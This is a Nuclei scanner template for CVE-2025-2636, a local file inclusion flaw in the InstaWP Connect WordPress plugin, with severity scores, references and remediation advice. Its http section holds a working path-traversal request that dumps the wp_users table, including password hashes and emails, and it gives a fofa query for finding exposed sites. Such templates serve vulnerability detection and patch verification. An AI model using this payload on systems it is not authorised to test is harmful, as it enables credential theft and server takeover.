id: CVE-2025-2636

info:
  name: InstaWP Connect < 0.1.0.86 - Local PHP File Inclusion
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The InstaWP Connect - 1-click WP Staging & Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.
  impact: |
    Unauthenticated attackers can include and execute arbitrary PHP files through the instawp-database-manager parameter, allowing arbitrary code execution and potential complete server compromise.
  remediation: |
    Update InstaWP Connect plugin to version 0.1.0.86 or later.
  reference:
    - https://wpscan.com/vulnerability/d1b64725-d4ae-4d73-950a-b772a877022b/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/4c8f2c6f-c231-477c-895b-df892569ef95
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2636
  classification:
    epss-score: 0.10099
    epss-percentile: 0.95041
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2636
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/instawp-connect"
  tags: cve,cve2025,wp,wordpress,wp-plugin,instawp-connect,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /?instawp-database-manager=/../../../%2e%2fmigrate%2ftemplates%2fdebug%2fdb-table&table_name=wp_users--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'instawp-wrap'
          - 'user_pass</th>'
          - 'user_email</th>'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022071109d175b413534b5319e54f9aa1fd3d9b92c023d6f7f8c0b7ebdb8476f60f302200cc7560fa17f23838738146d2afe6aaa774454a8d31e0a5ba96a80e5b674ec9f:922c64590222798bb761d5b6d8e72950